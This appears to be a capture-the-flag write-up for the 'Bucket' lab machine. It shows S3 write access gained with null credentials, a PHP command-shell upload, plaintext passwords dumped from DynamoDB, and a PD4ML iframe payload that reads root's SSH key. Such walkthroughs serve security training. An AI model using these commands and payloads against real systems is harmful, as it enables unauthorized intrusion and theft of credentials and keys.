Bucket

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 10.129.65.220         
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-25 21:28 +08
Nmap scan report for 10.129.65.220
Host is up (0.0070s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Did a detailed scan as well:

$ nmap -p 80 -sC -sV --min-rate 4000 10.129.65.220
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-25 21:29 +08
Nmap scan report for 10.129.65.220
Host is up (0.0065s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1

We can add bucket.htb to our /etc/hosts file to visit the web application.

Web Enum -> S3 Bucket Shell Upload

The website was looked to be a custom platform:

When I looked through the page source, I could see that there was a subdomain present:

It seems that this uses the AWS S3 Bucket to store images on the website. When we add the subdomain to the /etc/hosts file, we can see that images are loaded:

S3 Bucket is a cloud storage provider for objects, and it too can have misconfigurations. We only know that the bucket for the web application is called adserver. However, it's unlikely this bucket is actually publicly listed (at least I don't think so).

To enumerate this, we can use the --endpoint-url flag with aws to specify where we send the requests.

$ sudo aws s3 --endpoint-url http://s3.bucket.htb ls s3://adserver
Unable to locate credentials. You can configure credentials by running "aws configure".

It seems that we need credentials. Based on Hacktricks Cloud, it is possible for unauthenticated access with null credentials.

$ sudo aws configure                                              
AWS Access Key ID [None]: test123
AWS Secret Access Key [None]: test123
Default region name [None]:        
Default output format [None]:
$ sudo aws s3 --endpoint-url http://s3.bucket.htb ls s3://adserver
                           PRE images/
2023-08-25 21:43:04       5344 index.html

Great! We now have access to the files within the S3 Bucket instance. We can try to write files to the instance, and find that it works:

$ sudo aws s3 --endpoint-url http://s3.bucket.htb cp test.txt s3://adserver
upload: ./test.txt to s3://adserver/test.txt

$ sudo aws s3 --endpoint-url http://s3.bucket.htb ls s3://adserver         
                           PRE images/
2023-08-25 21:43:04       5344 index.html
2023-08-25 21:44:14         17 test.txt

$ curl http://bucket.htb/test.txt
ihavewriteaccess

Using this, we can try to write a shell of some sorts. The first thing that came to mind was PHP, since this wasn't a wasn't an IIS server.

$ sudo aws s3 --endpoint-url http://s3.bucket.htb cp cmd.php s3://adserver 
upload: ./cmd.php to s3://adserver/cmd.php

$ curl http://bucket.htb/cmd.php?cmd=id                           
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This worked! Now we can easily gain a reverse shell:

Privilege Escalation

Project Files -> DynamoDB SSH Creds

We cannot read the user flag yet. Within the /var/www file, there is another bucket-app file:

www-data@bucket:/var/www$ ls -la
total 16
drwxr-xr-x   4 root root 4096 Feb 10  2021 .
drwxr-xr-x  14 root root 4096 Feb 10  2021 ..
drwxr-x---+  4 root root 4096 Feb 10  2021 bucket-app
drwxr-xr-x   2 root root 4096 Aug 25 13:49 html

There's a + at the end of it, meaning that there are extended privileges to this file. We can enumerate it using getfacl:

www-data@bucket:/var/www$ getfacl bucket-app/
# file: bucket-app/
# owner: root
# group: root
user::rwx
user:roy:r-x
group::r-x
mask::r-x
other::---

roy can read this. The user had a few files within their directory:

www-data@bucket:/home/roy$ ls -la
total 28
drwxr-xr-x 3 roy  roy  4096 Sep 24  2020 .
drwxr-xr-x 3 root root 4096 Sep 16  2020 ..
lrwxrwxrwx 1 roy  roy     9 Sep 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy  roy   220 Sep 16  2020 .bash_logout
-rw-r--r-- 1 roy  roy  3771 Sep 16  2020 .bashrc
-rw-r--r-- 1 roy  roy   807 Sep 16  2020 .profile
drwxr-xr-x 3 roy  roy  4096 Sep 24  2020 project
-r-------- 1 roy  roy    33 Aug 25 13:27 user.txt

The db.php file included some code for the DynamoDB instance:

www-data@bucket:/home/roy/project$ cat db.php 
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

Now that we know this is running, we can enumerate it from our machine that already has aws configure configured.

$ sudo aws dynamodb --endpoint-url http://s3.bucket.htb list-tables
{
    "TableNames": [
        "users"
    ]
}

The database also allows for unauthenticated access. We can read the stuff within this table:

$ sudo aws dynamodb --endpoint-url http://s3.bucket.htb scan --table-name users
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

It seems that we have some credentials. The third one worked, and I could su to roy:

Bucket-App PD4ML LFI -> Root SSH Key

Now that we are roy, we can access the bucket-app file:

roy@bucket:/var/www/bucket-app$ ls -al
total 856
drwxr-x---+  4 root root   4096 Feb 10  2021 .
drwxr-xr-x   4 root root   4096 Feb 10  2021 ..
-rw-r-x---+  1 root root     63 Sep 23  2020 composer.json
-rw-r-x---+  1 root root  20533 Sep 23  2020 composer.lock
drwxr-x---+  2 root root   4096 Feb 10  2021 files
-rwxr-x---+  1 root root  17222 Sep 23  2020 index.php
-rwxr-x---+  1 root root 808729 Jun 10  2020 pd4ml_demo.jar
drwxr-x---+ 10 root root   4096 Feb 10  2021 vendor

The index.php had some code in it:

<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>

This uses the DynamoDB's alert table, and it takes some data from there that is titled Ransomware and uses pd4ml_demo.jar to convert the HTML into a PDF. Searching for exploits for the pd4ml.jar program spoiled the box a bit:

Anyways, reading the documentation for it provided me with the <attachment> tags.

We could potentially use this for an LFI to read the private SSH key of root. First, we need to find out where this app is running on. Reading the Apache configuration files gave me just that:

$ cat /etc/apache2/sites-enabled/000-default.conf            
<VirtualHost 127.0.0.1:8000>
        <IfModule mpm_itk_module>
                AssignUserId root root
        </IfModule>
        DocumentRoot /var/www/bucket-app
</VirtualHost>

We need to forward port 8000 to our machine. I used chisel, but you can use ssh too since we have the credentials of roy. The application is being run as root as well, confirming that if we can exploit LFI, we can read every file in the machine.

Next, we need to create a new table within the DynamoDB instance with a title and data column. Afterwards, we need to insert 2 key pair values for it, with title being set to Ransomware, and the data field being set to our payload:

$ sudo aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5

$ sudo aws --endpoint-url http://s3.bucket.htb/ dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><head></head><body><iframe src=\"/root/.ssh/id_rsa\"></iframe></body></html>"}}'

Afterwards, based on the index.php code, we need to send a POST request with action=get_alerts to run our payload:

$ curl -X POST http://127.0.0.1:8000/index.php --data 'action=get_alerts'

We can then download the result.pdf file back to our machine via base64 or scp. When viewed, this would give us the SSH key we need!

Using this, we can ssh into the box:

Rooted!

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